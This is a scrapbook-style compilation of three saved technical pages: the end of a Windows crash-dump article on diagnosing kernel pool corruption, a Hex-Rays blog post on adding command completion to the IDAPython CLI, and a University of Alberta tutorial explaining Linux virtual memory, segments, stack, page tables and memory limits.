fffffa80\`01a1b820 4f4f4f4f\`4f4f4f4f 4f4f4f4f\`4f4f4f4f

fffffa80\`01a1b830 4f4f4f4f\`4f4f4f4f 00574f4c\`46524556

fffffa80\`01a1b840 00000000\`00000000 00000000\`00000000

fffffa80\`01a1b850 00000000\`00000000 00000000\`00000000

fffffa80\`01a1b860 00000000\`00000000 00000000\`00000000

fffffa80\`01a1b870 00000000\`00000000 00000000\`00000000

fffffa80\`01a1b880 00000000\`00000000 00000000\`00000000

At this point we can be confident that the system crashed because of pool
corruption**.**

Because the corruption occurred in the past, and a dump is a snapshot of the
current state of the system, there is no concrete evidence to indicate how the
memory came to be corrupted**.** It is possible the driver that allocated the
pool block immediately preceding the corruption is the one that wrote to the
wrong location and caused this corruption**.** This pool block is marked with
the tag “None”, we can search for this tag in memory to determine which
drivers use it**.**

kd> \!for\_each\_module s -a @\#Base @\#End "None"

fffff800\`92411bc2 4e 6f 6e 65 e9 45 04 26-00 90 90 90 90 90 90 90 None**.**
E.&........

kd> u fffff800\`92411bc2-1

nt**\!** ExAllocatePool+0x1:

fffff800\`92411bc1 b84e6f6e65 mov eax,656E6F4Eh

fffff800\`92411bc6 e945042600 jmp nt**\!** ExAllocatePoolWithTag
\(fffff800\`92672010\)

fffff800\`92411bcb 90 nop

The file _Pooltag.txt_ lists the pool tags used for pool allocations by
kernel-mode components and drivers supplied with Windows, the associated file
or component \(if known\), and the name of the component**.** _Pooltag.txt_ is
installed with Debugging Tools for Windows \(in the triage folder\) and with
the Windows WDK \(in \tools\other\_platform_ \poolmon\)**.** Pooltag.txt shows
the following for this tag:

None - <unknown> \- call to ExAllocatePool

Unfortunately what we find is that this tag is used when a driver calls
ExAllocatePool, which does not specify a tag**.** This does not allow us to
determine what driver allocated the block prior to the corruption**.** Even if
we could tie the tag back to a driver it may not be sufficient to conclude
that the driver using this tag is the one that corrupted the memory**.**

The next step should be to enable special pool and hope to catch the corruptor
in the act**.** We will discuss special pool in our next article.

****

# Hex blog: Implementing command completion for IDAPython

**Created:**| _7/20/2010 8:21:13 AM_  
---|---  
**Updated:**| _7/20/2010 8:21:36 AM_  
**Author:**| __  
**Tags:**| _bookmark iDA reversing commandline-kungfu plugin scripting
awesome_  
  

### Implementing command completion for IDAPython

In this blog post we are going to illustrate how to use the command line
interpreter \(CLI\) interface from Python and how to write a basic command
completion functionality for the Python CLI.

## Understanding the CLI structure

IDA Pro SDK allows programmers to implement command line interpreters with the
use of the **cli\_t** structure:

[code]

    struct cli_t
    {
      size_t size;                  // Size of this structure
      int32 flags;                  // Feature bits
      const char *sname;            // Short name (displayed on the button)
      const char *lname;            // Long name (displayed in the menu)
      const char *hint;             // Hint for the input line
      // callback: the user pressed Enter
      bool (idaapi *execute_line)(const char *line);
    
      // callback: the user pressed Tab (optional)
      bool (idaapi *complete_line)(
            qstring *completion,
            const char *prefix,
            int n,
            const char *line,
            int prefix_start);
    
      // callback: a keyboard key has been pressed (optional)
      bool (idaapi *keydown)(
            qstring *line,
            int *p_x,
            int *p_sellen,
            int *vk_key,
            int shift);
    };
    
[/code]

For example, the IDAPython plugin defines its CLI like this:

[code]

    static const cli_t cli_python =
    {
        sizeof(cli_t),
        0,
        "Python",
        "Python - IDAPython plugin",
        "Enter any Python expression",
        IDAPython_cli_execute_line,
        NULL, // No completion support
        NULL // No keydown support
    };
    
[/code]

And registers/unregisters it with:

[code]

    void install_command_interpreter(const cli_t *cp);
    void remove_command_interpreter(const cli_t *cp);
    
[/code]

## The CLI in Python

The CLI functionality has been added in IDAPython 1.4.1. Let us suppose that
we want to reimplement the Python CLI in Python \(rather than in C++\), we
would do it like this:

[code]

    class pycli_t(idaapi.**cli_t**):
        flags = 0
        sname = "PyPython"
        lname = "Python - PyCLI"
        hint  = "Enter any Python statement"
    
        def **OnExecuteLine**(self, line):
            """
            The user pressed Enter.
            @param line: typed line(s)
            @return Boolean: True-executed line, False-ask for more lines
            """
            try:
                **exec**(line, globals(), globals())
            except Exception, e:
                print str(e) + "\n" + traceback.format_exc()
            return True
    
    
[/code]

Summary:

  1. Subclass **idaapi.cli\_t**
  2. Define the CLI short name, long name and hint
  3. Declare the OnExecuteLine handler and use Python's exec\(\) to execute a line

To try this code, simply instantiate a CLI and register it:

[code]

    pycli = pycli_t()
    pycli.register()
    
[/code]

And later to unregister the CLI:

[code]

    pycli.unregister()
[/code]

### Adding command completion

In order to add command completion, we need to implement the
OnCompleteLine\(\) callback:

[code]

    class cli_t:
        def **OnCompleteLine**(self, prefix, n, line, prefix_start):
            """
            The user pressed Tab. Find a completion number N for prefix PREFIX
    
            This callback is optional.
    
            @param prefix: Line prefix at prefix_start (string)
            @param n: completion number (int)
            @param line: the current line (string)
            @param prefix_start: the index where PREFIX starts in LINE (int)
    
            @return: None or a String with the completion value
            """
            print "OnCompleteLine: pfx=%s n=%d line=%s pfx_st=%d" % (prefix, n, line, prefix_start)
            return None
    
[/code]

This callback is invoked everytime the user presses TAB in the CLI. The
callback receives:

  * prefix: the prefix at the cursor position
  * n: the completion number. If this callback succeeded the first time \(when n == 0\), then IDA will call this callback again with n=1 \(and so on\) asking for the next possible completion value
  * line: the whole line
  * prefix\_start: the index of the prefix in the line

For example typing "os.path.ex" and pressing TAB would call:

[code]

    OnCompleteLine(prefix="ex", n=0, line="print os.path.ex", prefix_start=14)
[/code]

For demonstration purposes, here is a very simple algorithm to guess what
could complete the "os.path.ex" expression:

  1. Parse the identifier: Since IDA passes the line, prefix and the prefix start index, we need to get the whole expression including the prefix \(we need "os.path.ex"\). This can be done by scanning backwards from prefix\_start until we encounter a non identifier character:
[code]    def parse_identifier(line, prefix, prefix_start):

        id_start = prefix_start
        while id_start > 0:
            ch = line[id_start]
            if not ch.isalpha() and ch != '.' and ch != '_':
                id_start += 1
                break
            id_start -= 1
        return line[id_start:prefix_start + len(prefix)]
    
[/code]

  2. Fetch the attributes with dir\(\): Given the full identifier name \(example "os.path.ex"\), we split the name by '.' and use a getattr\(\) loop starting from the \_\_main\_\_ module up to the last split value:
[code]    def get_completion(id, prefix):

        try:
            parts = id.split('.')
            m = sys.modules['__main__']
            for i in xrange(0, len(parts)-1):
                m = getattr(m, parts[i])
        except Exception, e:
            return None
        else:
            completion = [x for x in **dir**(m) if x.**startswith**(prefix)]
    
            return completion if len(completion) else None
    
[/code]

  3. Implementing OnCompleteLine\(\): We parse the identifier and get a list of possible completion values only if n==0, otherwise we return the next possible value in the list we previously built:
[code]    def OnCompleteLine(self, prefix, n, line, prefix_start):

        # new search?
        if n == 0:
            self.n = n
            id = self.**parse_identifier**(line, prefix, prefix_start)
            self.completion = self.**get_completion**(id, prefix)
        return **None** if (self.completion is None) or (n >= len(self.completion)) else **self.completion[n]**
[/code]

With this approach we could complete something like this:

[code]

    f = open('somefile.txt', 'r')
    f.re^TAB => f.read, f.readinto, f.readline or f.readlines
[/code]

Or:

[code]

    print idau^TAB.GetRe^TAB => print idautils.GetRegisterList
[/code]

The sample script can be downloaded from here and a win32 build of the latest
IDAPython plugin \(with completion integrated in the plugin\) can be
downloaded from here.

# Understanding Memory

**Created:**| _4/21/2011 10:25:25 AM_  
---|---  
**Updated:**| _4/21/2011 10:25:25 AM_  
**Author:**| __  
**Tags:**| _Linux awesome Memory_  
  

## Understanding Memory

Our context for this discussion is the AICT Linux Cluster, which runs 64-bit
GNU/Linux on AMD Opteron hardware. If you have a comment or question about the
material presented, please send a note to research.support@ualberta.ca.

### Contents

  * Introduction
  * Programs and Processes
  * Storage Class and Scope
  * Program Size
  * Memory Map
  * Call Stack
  * Page Table
  * Libraries
  * Memory Limits
  * Memory Allocation
  * Implementation Details
  * References

* * *
### Introduction

Under Linux, all programs run in a _virtual memory_ environment. If a C
programmer prints the value of a pointer \(never necessary in practice\), the
result will be a virtual memory address. In Fortran, although pointers are not
a standard feature, virtual memory addressing is implicit in every variable
reference and subroutine call.

Of course, a program's code and data actually reside in _real physical
memory_. Therefore, each virtual memory address is mapped by the operating
system to a physical memory address in a structure known as the _page table_
\(see Figure 1\). So, for example, to retrieve or update the value of a
variable, a program must first acquire the variable's real memory address by
looking up the associated virtual memory address in the page table.
Fortunately, this step is handled transparently by Linux. Optimized code in
the Linux kernel and specialized circuitry in the CPU combine to make this a
reasonably efficient operation. Nevertheless, you may wonder why do it at all.

<img src='img/Temp2_8706.png' alt='Figure 1' />

**Fig. 1** Mapping virtual memory to real memory through the page table.

In a general purpose multi-user computing environment such as Linux, all
programs must share the finite physical memory that is available. In the
absence of virtual memory, each program would have to be aware of the
activities of its neighbours. For example, consider two independent programs
with direct memory access trying to claim the same area of free memory at the
same time. To avoid a conflict, the programs would have to participate in a
synchronization scheme, leading to overly complex code. Instead, with virtual
memory, all low-level memory management functions are delegated to the
operating system. Accordingly, the Linux kernel maintains a private page table
for each program giving it the illusion that it is alone on the computer. When
two concurrent programs reference the same virtual memory address, the kernel
ensures that each one resolves to a different real memory address as shown in
Figure 2.

<img src='img/Temp2_8705.png' alt='Figure 2' />

**Fig. 2** Concurrent programs.

It may also help to think of virtual memory as an abstraction layer that the
operating system uses to insulate the memory hardware. Programs simply run on
top of this layer without having to be aware of the details of any specific
memory implementation.

We will become acquainted with the concepts and terminology associated with
virtual memory in the sections that follow. Although our focus will be the
AICT Linux cluster, the principles described apply to most other computing
environments.

goto top

### Programs and Processes

A program's page table is one component of its execution context. Other
components include its current working directory, list of open files,
environment \(list of environment variables\), and so on. Together, they
constitute what is known as a _process_ or _task_.

Often, "program" and "process" are used interchangeably. There is a difference
however. The term program is usually associated with source code written in a
particular programming language. We speak of a Fortran program or a C program
for example. It also refers to the compiled source code or executable file on
disk. A process, on the other hand, is the operating system's concept for a
running program.

The kernel assigns each process a unique identification number, a _process ID_
\(pid\), and uses this to index the various data structures that store
information about the process. A program can retrieve its pid and many other
process-related attributes through a programming interface. This interface is
standard in C and is supported as an extension in Fortran. For example,
getuid\(\) returns the user ID \(uid\) of the calling process.

Executing a program interactively at the shell's command prompt is a common
way to create a new process. The new process is literally spawned, or forked
\(after the fork\(\) system call that is involved\), from the shell process.
In this way, a process hierarchy is established, with the shell as parent and
the new process as child. Naturally, the child inherits many of the attributes
of its parent, like the current working directory and environment.
Significantly, memory resource limits are also passed down from parent to
child. More on this later.

goto top

### Storage Class and Scope

Programs comprise executable statements and data declarations. Each datum has
a property known as _storage class_ that reflects its lifespan during program
execution. A related property called _scope_ characterizes the extent of a
datum's visibility. Storage class and scope are assumed from the location of a
datum's declaration, and determine its placement within virtual memory.

In C, data declared outside the body of any function have global scope and
static \(permanent\) duration. Although initial values may be assigned, global
data are usually uninitialized. Meanwhile, data declared inside the body of a
function—including main\(\)—have local scope and automatic \(temporary\)
duration. A local datum can be made permanent by qualifying its declaration
with the static keyword so that it retains its value between function
invocations.

In Fortran, all data are local in scope unless they are declared in a module
\(Fortran 90/95\) or appear in a named common block. Furthermore, by assigning
the SAVE attribute to module variables and by referencing common blocks in a
SAVE statement \(or carefully locating common block specifications\), they
effectively acquire global scope and static duration. In the case of the
Portland Group \(PGI\) Fortran compilers pgf77 and pgf95, local explicit-
shaped arrays \(those for which fixed bounds are explicitly specified for each
dimension\) have the static, rather than automatic, storage class. However,
the contents of such arrays are invalidated between subroutine invocations,
unless they are declared with the SAVE attribute or they appear in a SAVE
statement.

> _Be aware that the treatment of explicit-shaped arrays differs among
> compilers. In contrast to pgf95, the IBM compiler xlf95, for example,
> considers them automatic. If necessary, these semantics can be altered with
> compiler options._
goto top

### Program Size

Compilers translate a program's executable statements into CPU instructions,
and declarations of _static_ data are translated into machine-specific data
specifications. To create an executable file, the system linker aggregates the
instructions and the data into distinct segments. All of the instructions go
into one segment traditionally called _text_. Unfortunately, that name conveys
the impression that the segment contains source code, which it does not.
Meanwhile, the data are arranged in two segments. One is called _data_ , for
the initialized static data and literal constants, and the other, _bss_ , for
the uninitialized static data. Bss once stood for "block started from symbol,"
which was a mainframe assembly language instruction, but the term carries no
meaning today.

Consider the following simple C program, and the equivalent Fortran 90/95
version, in which the major data component is an uninitialized static array of
200 million bytes.

[code]

    /**
      * simple.c
      */
    #include <stdio.h>
    #include <stdlib.h>
    
    #define NSIZE 200000000
    
    char x[NSIZE];
    
    int
    main (void)
    {
      for (int i=0; i<NSIZE; i++)
        x[i] = 'x';
    
      printf ("done\n");
      
      exit (EXIT_SUCCESS);
    }
    
[/code]

[code]

    $ pgcc -c9x -o simple simple.c
    $ size simple
       text    data    bss         dec         hex       filename
       1226    560     200000032   200001818   bebc91a   simple
       
    $ ls -l simple
    -rwxr-xr-x  1 esumbar uofa 7114 Nov 15 14:12 simple
    
[/code]

[code]

    !
    ! simple.f90
    !
    module globals
      implicit none
      integer, parameter :: NMAX = 200000000
      character(1), save :: x(NMAX)
    end module globals
    
    program simple
      use globals
      implicit none
      integer :: i
    
      do i = 1, NMAX
         x(i) = 'x'
      end do
      print*, "done"
      stop
    end program simple
    
[/code]

[code]

    $ pgf95 -o simple simple.f90
    $ size simple
       text    data    bss         dec         hex       filename
       77727   1088772 200003752   201170251   bfd9d4b   simple
       
    $ ls -l simple
    -rwxr-xr-x  1 esumbar uofa 1201694 Nov 15 14:12 simple
    
    $ file simple
    simple: ELF 64-bit LSB executable, AMD x86-64, ...
    
[/code]

Compiling \(and implicitly linking\) as illustrated above produces an
executable program file in the ELF \(Executable and Linking Format\) format.
Running the size command extracts the magnitude of the text, data, and bss
segments from the ELF file.

In both cases, the bss segment is indeed 200 million \(plus some
administrative overhead\). The program's contribution to the data segment
includes only two string literals and one numeric constant, which does not
account for the sizes reported. Apparently, the compilers are responsible for
the discrepancy.

Furthermore, because the ELF file contains all of the program instructions and
all of the initialized data, the sum of the text and data segments should
approach, but never exceed, the size of the file on disk. Reserving space for
the bss segment in the file is unnecessary since there are no values to store.
This is confirmed by the examples.

> _Be aware that the data and bss segments are frequently referred to
> collectively as just data, occassionally leading to confusion._
goto top

### Memory Map

When the ELF file is executed, the text and the two data segments are loaded
into separate areas of virtual memory. By convention, text occupies the lowest
addresses, with data above. Appropriate permissions are assigned to each. In
general, the text segment is read-execute, while the data segment is read-
write. A typical process _memory map_ is illustrated in Figure 3.

<img src='img/Temp2_8700.png' alt='Figure 3' />

**Fig. 3** Process memory map showing text, data, and bss segments.

Virtual memory addresses start with zero at the bottom of the figure and
increase to a maximum of 512GB at the top. Addresses above 512GB are reserved
for use by the Linux kernel. This is specific to AMD64 hardware. Other
architectures may have different limits.

Although the _size_ \(text+data+bss\) of a process is established at compile
time and remains constant during execution, a process can expand into the
unoccupied portion of virtual memory at runtime using the malloc\(\) function
in C or ALLOCATABLE arrays in Fortran 90/95. A similar feature is also
available in Fortran 77 through non-standard extensions. This dynamically
allocated memory is located above data in the _heap segment_. See Figure 4.

<img src='img/Temp2_8703.png' alt='Figure 4' />

**Fig. 4** Memory map with heap segment included.  
Data and bss segments are shown as one.

All three segments, text, data \(data+bss\), and heap, are mapped to real
memory through the page table. The figure shows that the heap segment expands
and contracts as memory is allocated and deallocated. Consequently, page table
entries are added or deleted as necessary.

goto top

### Call Stack

Programs written in the procedural style \(as opposed to object-oriented
style\) are organized as a logical hierarchy of subroutine calls. In general,
each subroutine call involves passing arguments from the caller to the callee.
In addition, the callee may declare temporary local variables. Subroutine
arguments and _automatic_ local variables are accommodated at the top of
virtual memory in an area known as the _stack segment_ or simply as the
_stack_. See Figure 5.

<img src='img/Temp2_8698.png' alt='Figure 5' />

**Fig. 5** Memory map showing the stack segment.

The hierarchy of subroutine calls begins when the operating system invokes the
program's main\(\) function in C or the MAIN program in Fortran. Under normal
circumstances, it ends when "main" returns to the operating system. The entire
sequence can be represented as a call graph like that in Figure 6.

<img src='img/Temp2_8702.png' alt='Figure 6' />

  1. OS calls main
  2. main calls func1
  3. func1 calls func2
  4. func2 returns to func1
  5. func1 calls func3
  6. func3 returns to func1
  7. func1 returns to main
  8. main calls func4
  9. func4 returns to main
  10. main returns \(exit status\) to OS

**Fig. 6** Typical subroutine call graph.

Before calling main, the operating system pushes the elements of the command
line that was used to invoke the program on "top" of the initially empty
stack. In C, the main\(\) function has access to these arguments through the
argc and argv parameters, while Fortran MAIN programs can use the IARGC and
GETARG subroutines, which are non-standard extensions.

As execution commences, main pushes its automatic variables on top of the
stack. This makes the stack "grow" towards lower addresses. Then, just prior
to calling func1, main pushes the arguments to func1. Together, main's
automatic variables and the arguments to func1 constitute a _stack frame_.
Stack frames accumulate on the stack as the program descends the call graph,
and are dismantled as it ascends. The procedure is outlined in Figure 7 below.

<img src='img/Temp2_8707.png' alt='Figure 7' />

**Fig. 7** Evolution of the stack segment corresponding to the call graph
shown in Figure 6.

By convention, the currently active subroutine can only reference the
arguments it was passed and its own local automatic and static variables
\(plus any globally accessible data\). For example, while func2 is executing,
it can not access func1's local variables, unless of course func1 passes
references to its local variables in the argument list to func2.

goto top

### Page Table

Figure 8 illustrates the relationship between the memory map, page table, and
real memory. The page table expands or contracts, mapping more or less real
memory, as both the stack and heap segments change size.

<img src='img/Temp2_8697.png' alt='Figure 8' />

**Fig. 8** Memory map, page table, and real memory.

Suppose each page table entry comprises one 64-bit number representing a
virtual memory address and another 64-bit number representing a real memory
address, for a total of 16 bytes per entry. To map each byte of a 200MB
process, for instance, would require a 3200MB page table. Obviously
impractical. Instead of mapping individual bytes, the page table maps larger
chunks of virtual memory called _pages_ \(hence the name\). The corresponding
increment of real memory is called a _page frame_.

Page size is architecture-specific and often configurable. It is always some
power of two. The AMD Opteron processors in the AICT Linux cluster use 4KB.
Accordingly, the page table for a 200MB process would be only 800KB.

Over 128 million pages span the 512GB virtual memory address range. They are
numbered consecutively with a virtual page number \(VPN\). Each page table
entry maps a virtual page from the process memory map to a page frame in real
memory, that is, from a VPN to a page frame number \(PFN\). The VPN is
calculated from the virtual memory address by dividing it by the page size
\(bit-shifting the address to the right\). The specific byte is located as an
offset from the start of the page.

goto top

### Libraries

Linking a _static_ library into a program integrates the library's text and
data segments into the ELF program file. As a result, two programs linked with
the same static libraray both map the library into real memory. See Figure 9.

<img src='img/Temp2_8699.png' alt='Figure 9' />

**Fig. 9** Two programs linked with the same static library.

Static library files in the ELF format have the .a \(for archive\) name
extension. The ELF format also supports _dynamic shared_ libraries. These have
the .so \(for shared object\) name extension.

Two aspects of a dynamic shared library distinguish it from a static library.
First, only the name of the library is recorded in the ELF program file, no
text or data, resulting in a smaller executable. Second, only one copy of the
library is loaded into real memory. This conserves real memory and also speeds
up the loading of programs that are linked with the same dynamic shared
library. Two such programs are illustrated in Figure 10.

<img src='img/Temp2_8704.png' alt='Figure 10' />

**Fig. 10** Two programs linked with the same dynamic shared library.

When the first of the two programs is executed, the system finds the library
and updates the page table by mapping the library's text and data into real
memory. When the second program is executed, the page table entries referring
to the library text are mapped to existing real memory. The library text
segment can be shared like this because its permissions, like all text
segments, are read-execute.

goto top

### Memory Limits

In the section Programs and Processes, we mentioned that a process inherits
certain memory limits from its parent, which is usually a shell. In the case
of the AICT cluster, the bash and tcsh shells are configured to impose a _soft
limit_ on the size of the stack segment of 10MB. The other supported memory
parameters, data segment, total virtual memory, and total real memory, are
unrestricted.

Although the text, data, heap, and stack segments have been depicted with
roughly equal size, in reality, the memory map of a typical high performance
computing application that features one or more large arrays will likely be
dominated by either the bss, stack, or heap segment. If the large arrays are
stack-based, the potential exists for exceeding the inherited stack size
limit. When this happens, the process is terminated abnormally with a
"Segmentation violation" signal.

To avoid this outcome, the soft limit can be increased using a builtin shell
command. For example, ulimit -s 20480 under bash \(see help ulimit\) or limit
stacksize 20480 under tcsh \(see man tcsh\) sets the stack size limit to 20MB.
Soft limits can be increased up to the configured _hard limit_. On the AICT
cluster, the hard limit for the size of the stack segment is "unlimited,"
meaning unrestricted. It is important to note that the new limit takes effect
only for processes launched from the particular shell in which the limit was
increased.

> _Be aware that the soft and hard limits on shell resources vary greatly
> among systems._
Many AICT cluster nodes have 10GB of RAM installed. Of this, approximately
1000MB is reserved by the operating system to maintain process information,
including the page tables. An additional 1GB of slow secondary storage on disk
is configured as _swap space_ \(or, more accurately, paging space\). The sum
of the available RAM plus the configured swap space amounts to about 9800MB
\(determined empirically\), and represents the total memory, real and virtual,
that can be mapped by all the processes on such a node. The term for this
quantity is _SWAP_ \(also known as logical swap space\).

To clarify this with a diagram, the stack size soft limit for a process
running interactively \(on the AICT cluster head node\) is illustrated in
Figure 11.

<img src='img/Temp2_8696.png' alt='Figure 11' />

**Fig. 11** Stack size soft limit imposed on an interactive process.

The soft limit is represented as a bounding box surrounding that part of the
page table mapping the stack segment. Making the soft limit "unlimited"
effectively removes the box. Meanwhile, expansion of the heap segment is
limited only by the available freee SWAP.

Since a batch job is a shell script, it may need to include an appropriate
limit command to increase the stack size limit before invoking the
computational program. Moreover, batch jobs are assigned to nodes that have
enough free SWAP to satisfy the requested process virtual memory \(pvmem\). To
ensure that a job does not exceed its pvmem specification, the batch system
reduces the virtual memory soft limit of the associated shell, which is
initially set to "unlimited," to match the pvmem value. Whenever a soft limit
is modified, the hard limit is automatically reset to be identical. Thus, a
job is prevented from subsequently increasing its virtual memory soft limit
once it has been adjusted by the batch system.

Accordingly, a job whose size \(text+data+bss\) exceeds the virtual memory
limit is not allowed to start running. While a job trying to expand at runtime
beyond its virtual memory limit is terminated abnormally with a "Segmentation
violation" signal. To exit gracefully, C programs can test the return value
from the malloc\(\) function for a NULL pointer and Fortran 90/95 programs can
test the STAT parameter of the ALLOCATE statement for a nonzero value.

For a process running in batch mode on the AICT cluster, the memory limits are
shown in Figure 12.

<img src='img/Temp2_8708.png' alt='Figure 12' />

**Fig. 12** Stack size and virtual memory limits imposed on a batch job
process.

Because the page table represents the virtual memory footprint of a process,
the virtual memory soft limit is depicted as a bounding box surrounding the
page table. _Note that under certain conditions, the virtual memory limit can
be violated by stack-based data even if the stack does not exceed the stack
size limit_.

A job's pvmem specification translates as the amount of SWAP that is dedicated
to the process by the batch job system. The process may actually use less.
Nevertheless, when considering a node for scheduling another job, the batch
system accounts for the total SWAP dedicated to—not used by—all the other jobs
currently running on the node. This could lead to waste through unused
resources unless the pvmem estimates are accurate.

goto top

### Memory Allocation

Thus far, our graphical representations of the page table have implied that
virtual memory pages are always mapped to real page frames. However, because
some pages may never be used, it is more efficient for the operating system to
defer the mapping until the page is actually referenced, a technique known as
_demand paging_.

For example, a common practice in Fortran 77 is to compile a program with the
largest anticipated static arrays and use the same executable to perform
calculations with varied array extents. In this case, a sufficient number of
virtual pages are always _reserved_ in the page table to completely
accommodate the large arrays. However, only those pages containing array
elements actually referenced by the program are _allocated_ page frames in
real memory. Those pages that are never referenced are not allocated page
frames. The sum of all the allocated page frames is called the _resident set
size_ \(RSS\). As shown in Figure 13, RSS will be less than or equal to the
process's virtual memory footprint.

<img src='img/Temp2_8701.png' alt='Figure 13' />

**Fig. 13** A more realistic version of Figure 12 depicting resident set size.

When a process references a virtual page for the first time, a _page fault_
occurs. Linux responds by acquiring a real page frame from the pool of free
pages and allocating it to the virtual page in the process's page table. In
addition, the 512 most recent page table entries are cached in the Opteron
CPU's _translation lookaside buffer_ \(TLB\). Referencing a page that has a
TLB entry is faster than going through the page table in the kernel's memory.

For high performance applications, the ideal is to have every memory
allocation satisfied from the available RAM. However, if so much memory is
being used that RAM is depleted, a frame is "stolen" from another process. The
contents of the stolen frame are transferred to the swap space on disk and the
owner's page table updated. In other words, the page is _swapped out_ or, more
accurately, _paged out_. Frames in swap space can not be utilized directly.
Therefore, if a process references such a page \(called a major page fault\),
it has to be _swapped in_ first, causing a page from some other process to be
swapped out. As more memory is demanded, more swap space is utilized, which
causes more swapping. Because disk access is slow, the result is significantly
reduced performance for all processes. Eventually, if even swap space is
exhausted, processes are killed in order to harvest their page frames. At this
point, the node quickly becomes unusable. To prevent this, the batch system
implements the pvmem specification to ensure that the total SWAP on a node is
never exceeded.

goto top

### Implementation Details

Finally, let us analyze a real memory map to discover how some of the
preceding concepts are actually implemented. Under Linux, the memory map for a
process with process id pid is available in the read-only file /proc/pid/maps
\(see man proc\). Consider the following C program that incorporates data of
various storage class and scope.

[code]

    /**
     * map.c
     */
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <unistd.h>
    
    #define NSIZE   (5*(1<<20))
    #define SLEEPT  10
    
    long  gx[NSIZE];
    
    int
    main (int argc, char *argv[])
    {
      char  c[NSIZE];
      int  *px = malloc (NSIZE*sizeof(int));
    
      for (int i=0; i<NSIZE; i++) {
        gx[i] = (long)i;
        px[i] = i;
        c[i]  = 'c';
      }
      printf ("address of gx[0] = %012p\n", &gx[0]);
      printf ("address of px[0] = %012p\n", &px[0]);
      printf ("address of  c[0] = %012p\n", &c[0]);
    
      printf ("memory map file: /proc/%d/maps\n", getpid());
      printf ("sleeping %d...", SLEEPT);
      fflush (NULL);
      sleep (SLEEPT);
    
      free (px);
    
      printf ("\ndone\n");
      exit (EXIT_SUCCESS);
    }
    
[/code]

A label has been added to each line of the maps file output in the terminal
display below to make subsequent references more convenient.

[code]

    $ pgcc -c9x -o map map.c
    $ ls -l map
    -rwxr-xr-x  1 esumbar uofa 8176 Dec  1 09:24 map
    $ size map
       text    data    bss         dec         hex       filename
       1768    724     41943072    41945564    28009dc   map
    $ ./map
    address of gx[0] = 0x0000500bc0
    address of px[0] = 0x2a9557a010
    address of  c[0] = 0x7fbfaff460
    memory map file: /proc/23114/maps
    sleeping 10...^Z
    [2]+  Stopped                 ./map
    $ cat /proc/23114/maps
    (a) 00400000-00401000 r-xp ... /scratch/esumbar/map
    (b) 00500000-00501000 rw-p ... /scratch/esumbar/map
    (c) 00501000-02d01000 rwxp ...
    (d) 2a95556000-2a95557000 rw-p ...
    (e) 2a95578000-2a9697c000 rw-p ...
    (f) 330c300000-330c315000 r-xp ... /lib64/ld-2.3.4.so
    (g) 330c414000-330c416000 rw-p ... /lib64/ld-2.3.4.so
    (h) 330c500000-330c62a000 r-xp ... /lib64/tls/libc-2.3.4.so
    (i) 330c62a000-330c729000 ---p ... /lib64/tls/libc-2.3.4.so
    (j) 330c729000-330c72c000 r--p ... /lib64/tls/libc-2.3.4.so
    (k) 330c72c000-330c72f000 rw-p ... /lib64/tls/libc-2.3.4.so
    (l) 330c72f000-330c733000 rw-p ...
    (m) 330c800000-330c885000 r-xp ... /lib64/tls/libm-2.3.4.so
    (n) 330c885000-330c984000 ---p ... /lib64/tls/libm-2.3.4.so
    (o) 330c984000-330c986000 rw-p ... /lib64/tls/libm-2.3.4.so
    (p) 7fbfafe000-7fc0000000 rwxp ...
    (q) ffffffffff600000-ffffffffffe00000 ---p ...
    $ fg
    ./map
    
    done
    
[/code]

Memory addresses are customarily expressed as hex \(hexidecimal\) numbers,
using a base of 16 rather than 10, with digits 0 through 9 and A \(10\)
through F \(15\). Accordingly, a page size of 4KB is expressed as 100016 or
0x1000. Notice how each of the addresses on the left of the maps display
conclude with three zeroes, indicating that they are multiples of the page
size.

Unfortunately, the maps file does not identify the memory regions as "text,"
"data," and so on. However, in many cases, these labels can be inferred. For
example, region \(a\) is a read-execute segment associated with the ELF
program file. This must be the text segment. Notice that one whole page is
reserved even though the actual text occupies only 1768 bytes. Also note that
the text segment starts at address 0x400000 \(4MB\) not zero as we have been
assuming. This will be the case for all processes and is intended to ensure
that zero is treated as an invalid memory address if it is ever used
inadvertently.

Incidentally, the "p" in the permission bits r-xp means that the region is
private. Processes that manage shared memory with the shmat\(\) or mmap\(\)
functions will have one or more regions displaying an "s."

Region \(b\) is the read-write data segment. Whereas the text segment ends at
0x401000 \(4MB+4KB\), the data segment does not start until 0x500000 \(5MB\).
Hence, adjacent segments are not necessarily contiguous. \(Likewise, the
mapped real page frames are also non-contiguous.\) Judging by the address of
the static array gx, the bss segment starts at or near 0x500bc0 within region
\(b\) and continues into region \(c\), which has a span of exactly 0x2800000
\(40MB\).

Next come two non-contiguous regions, \(d\) and \(e\). The extent of region
\(e\) is 0x1404000 \(20MB+16KB\), enough to accommodate the dynamically
allocated memory. Indeed, the value of the pointer px falls near the beginning
of this region. Region \(d\), on the other hand, is a mystery. Based on its
proximity to region \(e\), it may have something to do with the management of
dynamic memory for this process.

Regions \(f\) and \(g\) map the text and data segments, respectively, of the
runtime dynamic loader. This is the code that the operating system invokes
first when the program is exeucted. It finds and loads the dynamic shared
libraries linked to the program before calling main. Although no libraries
were specified during compilation, the program implicitly references the
standard C \(libc.so\) and math \(libm.so\) libraries as the output from the
ldd command confirms.

[code]

    $ ldd map
            libc.so.6 => /lib64/tls/libc.so.6 (0x000000330c500000)
            libm.so.6 => /lib64/tls/libm.so.6 (0x000000330c800000)
            /lib64/ld-linux-x86-64.so.2 (0x000000330c300000)
    
[/code]

Practically all C programs need the functionality provided by these libraries
to implement printf\(\) and so on. Consequently, the Portland compiler links
them by default. Moreover, because of their ubiquity, they are implemented as
dynamic shared libraries.

As such, regions \(h\) through \(k\) represent libc's text, internal data,
read-only data, and read-write data, respectively, while regions \(m\) through
\(o\), libm's text, internal data, and read-write data. \(l\) is another
mytery region.

Finally, the stack segment is mapped in region \(p\) whose size is 0x502000
\(5MB+8KB\). Observe that the upper limit of virtual memory 0x7fffffffff does
not exactly coincide with the top of the stack. Also, the starting address of
variable c is close to the "bottom" of the stack. Region \(q\) \(8MB\) is not
directly accessible to the process. However, it is used indirectly when
requesting services from the kernel, for example, to open a file.

goto top

### References

  1. _Understanding the Linux Kernel_ , by Daniel P. Bovet and Marco Cesati, ©2001 O'Reilly
  2.  _Linkers and Loaders_ , by John R. Levine, ©2000 Morgan Kaufmann
  3.  _System V Application Binary Interface: AMD64 Architecture Processor Supplement, Draft Version 0.96_ , by Michael Matz, Jan Hubička, Andreas Jaeger, and Mark Mitchell 

goto top

* * *

